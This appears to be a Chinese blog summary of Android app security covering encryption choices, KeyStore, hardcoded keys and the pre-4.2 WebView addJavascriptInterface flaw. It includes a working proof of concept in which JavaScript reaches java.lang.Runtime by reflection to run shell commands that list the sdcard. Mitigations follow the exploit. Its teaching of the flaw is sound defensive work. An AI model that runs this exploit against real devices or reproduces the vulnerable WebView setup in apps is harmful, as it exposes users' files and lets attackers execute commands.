Android 应用安全开发总结

关于应用安全开发的参考文章:
Android保存私密信息-强大的keyStore
Android 应用安全开发之浅谈加密算法的坑
安全性和隐私权最佳做法
Android应用存储安全与加固
Android数据加密之Des加密

应用程序的安全问题,大致分为以下4点

  1. 敏感数据没有加密,容易被窃取。
  2. Android安全漏洞没有修补,容易被利用攻击。
  3. 代码没有混淆,apk安装包容易被逆向破解。
  4. 数据传输没有使用https,容易被中间人攻击,运营劫持。

一、对敏感数据进行加密

加密算法比较

常见加密算法分,用途,原理以及比较
数字签名是什么?
Android应用安全开发之浅谈加密算法的坑

  1. 对称加密算法。即加密和解密均采用同一把秘密钥匙
    DES(Data Encryption Standard):数据加密标准,速度较快,适用于加密大量数据的场合。
    3DES(Triple DES):是基于DES,对一块数据用三个不同的密钥进行三次加密,强度更高。
    AES(Advanced Encryption Standard):在密码学中又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。高级加密标准,是下一代的加密算法标准,速度快,安全级别高;
  2. 非对称加密算法。采用的加密钥匙(公钥)和解密钥匙(私钥)是不同的。
    RSA:由 RSA 公司发明,是一个支持变长密钥的公共密钥算法,需要加密的文件块的长度也是可变的;
    DSA(Digital Signature Algorithm):数字签名算法,是一种标准的 DSS(数字签名标准);
    ECC(Elliptic Curves Cryptography):椭圆曲线密码编码学。
  3. 散列算法。散列是信息的提炼,通常其长度要比信息小得多,且为一个固定长度
    MD5(Message Digest Algorithm 5):是RSA数据安全公司开发的一种单向散列算法。
    SHA(Secure Hash Algorithm):可以对任意长度的数据运算生成一个160位的数值;

关于公钥、私钥

之前一直不理解这个钥匙还能用于加密,本以为钥匙不是用于解锁的吗?还能上锁,其实是我理解错了,
数字签名是什么?

利用KeyStore加密数据-Android4.3以上

KeyStore生成的密钥来加密和解密敏感信息,包括银卡号、密码、token等数据,加密后可以放心的保存在SharedPreferences、数据库中而不担心被破解,即使手机被root导出数据也不必担心。

二、Android 安全漏洞

app 漏洞来自阿里聚安全

1. Android Webview远程代码执行漏洞

这个漏洞在Android 平台4.2之前存在,在后续的平台中不会存在。利用该漏洞可以执行很多后台操作,比如操作手机的文件系统,下载病毒到手机上。
android各版本占比情况,API<=17的大概占比9.2%,还有将近10%的比例呀,以上数据来自google官方。


android各版本占比.png

漏洞的危害

安卓WebView中接口隐患(远程代码执行漏洞)与手机挂马利用学习

实验验证

实验目的:获取手机sdcard命令下的所有文件
准备:Android4.1.1版本的手机一台
开发工具:Android studio

Paste_Image.png

MainActivity

public class MainActivity extends Activity {
    private WebView mWebView;
    private Uri mUri;
    private String url;
    //String mUrl1 = "file:///android_asset/html/attack_file.html";file:///android_asset/test.html
    String mUrl2 = "file:///android_asset/test.html";//https://security.tencent.com/lucky/check_tools.html
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_web_view);
        mWebView = (WebView)findViewById(R.id.webview);
        mWebView.getSettings().setJavaScriptEnabled(true);

        mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");
        //webView.getSettings().setAllowFileAccessFromFileURLs(true);
        mWebView.setWebChromeClient(new WebChromeClient() {
            @Override
            public boolean onJsAlert(WebView view, String url, String message,
                    JsResult result) {
                //Required functionality here
                return super.onJsAlert(view, url, message, result);
            }
        });
        mWebView.loadUrl(mUrl2);

        File file = new File("/sdcard/tt.txt");
        try {
            file.createNewFile();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    class JSInterface {
        public String onButtonClick(String text) {
            final String str = text;
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Log.e("leehong2", "onButtonClick: text = " + str);
                    Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG).show();
                }
            });

            return "This text is returned from Java layer.  js text = " + text;
        }

        public void onImageClick(String url, int width, int height) {
            final String str = "onImageClick: text = " + url + "  width = " + width + "  height = " + height;
            Log.i("leehong2", str);
            runOnUiThread(new Runnable() {
                @Override
                public void run() {
                    Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();
                }
            });
        }
    }

}

无法是否设置了mWebView.addJavascriptInterface(new JSInterface(), "jsInterface"),只要mWebView.getSettings().setJavaScriptEnabled(true);都会导致漏洞

test.html

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
    <script>
        var i=0;
        function getContents(inputStream)
        {
            var contents = ""+i;
            var b = inputStream.read();
            var i = 1;
            while(b != -1)
            {
                var bString = String.fromCharCode(b);
                contents += bString;
                contents += "\n"
                b = inputStream.read();
            }
            i=i+1;
            return contents;
       }

       function execute(cmdArgs)
       {
            for (var obj in window)
            {
                //console.log(window[obj]);
                if ("getClass" in window[obj])
                {
                    alert(window[obj]);
                    return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
                }
            }
       }
       //echo hello > test.txt
       // var p = execute(["touch","/mnt/sdcard/yu2.txt"]);
      var p = execute(["ls","/mnt/sdcard/"]);
      document.write(getContents(p.getInputStream()));

    </script>

    <script language="javascript">
      function onButtonClick() 
      {
        // Call the method of injected object from Android source.
        var text = jsInterface.onButtonClick("从JS中传递过来的文本!!!");
        alert(text);
      }

      function onImageClick() 
      {
        //Call the method of injected object from Android source.
        var src = document.getElementById("image").src;
        var width = document.getElementById("image").width;
        var height = document.getElementById("image").height;

        // Call the method of injected object from Android source.
        //https://ss0.bdstatic.com/70cFuHSh_Q1YnxGkpoWK1HF6hhy/it/u=292050601,2473871589&fm=26&gp=0.jpg
        window.jsInterface.onImageClick(src, width, height);
      }

    </script>
</head>

<body>
<p>点击图片把URL传到Java代码</p>
<img class="curved_box" id="image"
     onclick="onImageClick()"
     width="328"
     height="185"
     src="https://ss0.bdstatic.com/70cFuHSh_Q1YnxGkpoWK1HF6hhy/it/u=292050601,2473871589&fm=26&gp=0.jpg"
     onerror="this.src='background_chl.jpg'"/>
</p>
<button type="button" onclick="onButtonClick()">与Java代码交互</button>
</body>
</html>

该漏洞主要是由于js可以通过反射机制获取到了java.lang.Runtime,通过命令来操作系统。

AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.scott.myapplication">

    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true">
        <activity
            android:name=".MainActivity"
            android:label="@string/title_activity_main">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>
android-webkit-SearchBoxImpl.png
android-JSInterface.png

实验结果

实验前sdcard文件列表清单.png
获取到手机的文件列表

终于验证了webview的漏洞,一定要找一个Android4.2.2以下版本的手机,用虚拟机不容易验证!

解决漏洞办法

  • 在Android4.2.2版本之前

    • 如果不需要用到和Javascript进行交交互,要禁止与远程Javascript交互的接口,删除searchBoxJavaBridge_接口,不使用addJavascriptInterface方法。
      mWebView.getSettings().setJavaScriptEnabled(false);
      mWebView.removeJavascriptInterface("searchBoxJavaBridge_");
      mWebView.removeJavascriptInterface("accessibility");
      mWebView.removeJavascriptInterface("accessibilityTraversal");
  • 如果需要和Javascript进行交互。
    Android WebView的Js对象注入漏洞解决方案
    WebView 远程代码执行漏洞浅析
    在WebView中如何让JS与Java安全地互相调用。这篇文章所说的解决办法,还是需要调用下面三个方法,才能达到解决漏洞的目的。
    mWebView.removeJavascriptInterface("searchBoxJavaBridge_");
    mWebView.removeJavascriptInterface("accessibility");
    mWebView.removeJavascriptInterface("accessibilityTraversal");

  • 在Android4.2.2版本之后
    采用注解@JavascriptInterface。


2. 密钥硬编码

密钥硬编码的几种形式

Android安全开发之浅谈密钥硬编码

  1. 密钥直接明文存在sharedprefs文件中,这是最不安全的。
  • 密钥直接硬编码在Java代码中,这很不安全,dex文件很容易被逆向成java代码。
  • 将密钥分成不同的几段,有的存储在文件中、有的存储在代码中,最后将他们拼接起来,可以将整个操作写的很复杂,这因为还是在java层,逆向者只要花点时间,也很容易被逆向。
  • 用ndk开发,将密钥放在so文件,加密解密操作都在so文件里,这从一定程度上提高了的安全性,挡住了一些逆向者,但是有经验的逆向者还是会使用IDA破解的。
  • 在so文件中不存储密钥,so文件中对密钥进行加解密操作,将密钥加密后的密钥命名为其他普通文件,存放在assets目录下或者其他目录下,接着在so文件里面添加无关代码(花指令),虽然可以增加静态分析难度,但是可以使用动态调式的方法,追踪加密解密函数,也可以查找到密钥内容。

密钥存储的正确方式

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 196,165评论 5 462
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 82,503评论 2 373
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 143,295评论 0 325
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,589评论 1 267
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,439评论 5 358
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,342评论 1 273
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,749评论 3 387
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,397评论 0 255
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,700评论 1 295
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,740评论 2 313
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,523评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,364评论 3 314
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,755评论 3 300
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,024评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,297评论 1 251
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,721评论 2 342
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,918评论 2 336

推荐阅读更多精彩内容